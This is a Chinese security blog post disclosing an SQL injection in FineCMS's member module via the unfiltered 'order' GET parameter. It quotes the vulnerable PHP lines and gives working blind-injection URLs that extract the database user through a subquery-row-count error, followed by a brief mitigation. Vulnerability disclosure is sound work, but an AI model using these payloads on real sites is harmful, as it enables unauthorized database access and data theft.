记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Finecms一处代码引发多处SQL注入

2014-12-09 00:46

说一下位置:


/dayrui/core/D_Member_Home.php 81行:


$order = isset($_GET['order']) && strpos($_GET['order'], "undefined") !== 0 ? $this->input->get('order', TRUE) : 'updatetime desc';

再下来的109行:


$this->link->order_by($order);



首先从$_GET里获得了order并直接放入order by语句中,造成SQL注入。

因为有多个类继承了这个类,所以此处SQL注射造成多处功能中枪,包括finecms各个子功能。

 

举个例子,拿news来说。

首先修改/dayrui/core/D_Common.php 304行:



if ($this->member['adminid'] || IS_ADMIN || 1) {
$this->db->db_debug = $this->site[SITE_ID]->db_debug = TRUE;
} else {
$this->db->db_debug = $this->site[SITE_ID]->db_debug = FALSE;
}



在IS_ADMIN后面或了一个1,将数据库debug开启。这时候,访问http://xxxx/member/index.php?s=news&c=home&kw=&order=aaaa'

即可看到报错:

 

001.jpg



但既然默认是不会报错的,那么order by 后面除了延时注入,还有什么别的注入方法?

在CI的AR中,一旦数据库语句运行出错,其后跟随的result()或result_array()函数就会抛出一个致命错误:Call to a member function result_array() on a non-object,导致php不能继续执行。所以,即使error_reporting(0),或不开启php报错,我们也可以通过观察页面是否执行完全来判断SQL语句是否执行成功。

所以,给予了我们盲注的条件:出错和正确的显示的页面不同。



废话说了一大堆,直接给利用方法吧:



出错:
http://xxx/member/index.php?s=news&c=home&kw=&order=(select 1 from information_schema.tables where ord(mid(user() from 1 for 1))>113)
正确:
http://xxx/member/index.php?s=news&c=home&kw=&order=(select 1 from information_schema.tables where ord(mid(user() from 1 for 1))>114)


以上方法构造了一个出错的SQL语句,通过子查询返回结果条数来出错。若子查询返回条数大于1,则会爆“Subquery returns more than 1 row”错误。所以,当ord('r')>113的时候,where语句真,select出来多条结果,造成SQL语句报错,进而导致php出现Fatal error。当ord('r')>114的时候,where语句假,select出来0条结果,不会报错。
 

002.jpg


 

003.jpg

 

解决方案:

加强过滤


知识来源: www.2cto.com/Article/201412/358901.html

阅读:113124 | 评论:0 | 标签:注入 cms

想收藏或者和大家分享这篇好文章→复制链接地址

“Finecms一处代码引发多处SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云